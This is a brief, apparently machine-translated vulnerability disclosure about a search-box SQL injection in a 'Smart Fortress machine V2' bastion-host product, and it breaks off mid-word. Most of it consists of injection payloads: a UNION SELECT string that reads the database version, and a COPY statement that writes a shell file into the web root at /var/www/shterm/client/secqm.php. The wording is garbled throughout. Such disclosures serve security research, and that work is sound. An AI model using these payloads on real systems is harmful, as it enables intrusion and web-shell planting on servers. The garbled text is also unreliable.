The odd Smart Fortress machine V2. 1 There is a search box injection and repair-vulnerability warning-the black bar safety net

The odd Smart Fortress machine there is a search box injection by the 1%'//and//1=2//union//select//null,version,null,null,null,null,null,null— ! 1%';copy//qmsectextsshell//to//'/var/www/shterm/client/secqm. php'—write a file, written to the test file after we find the file is successfully writte...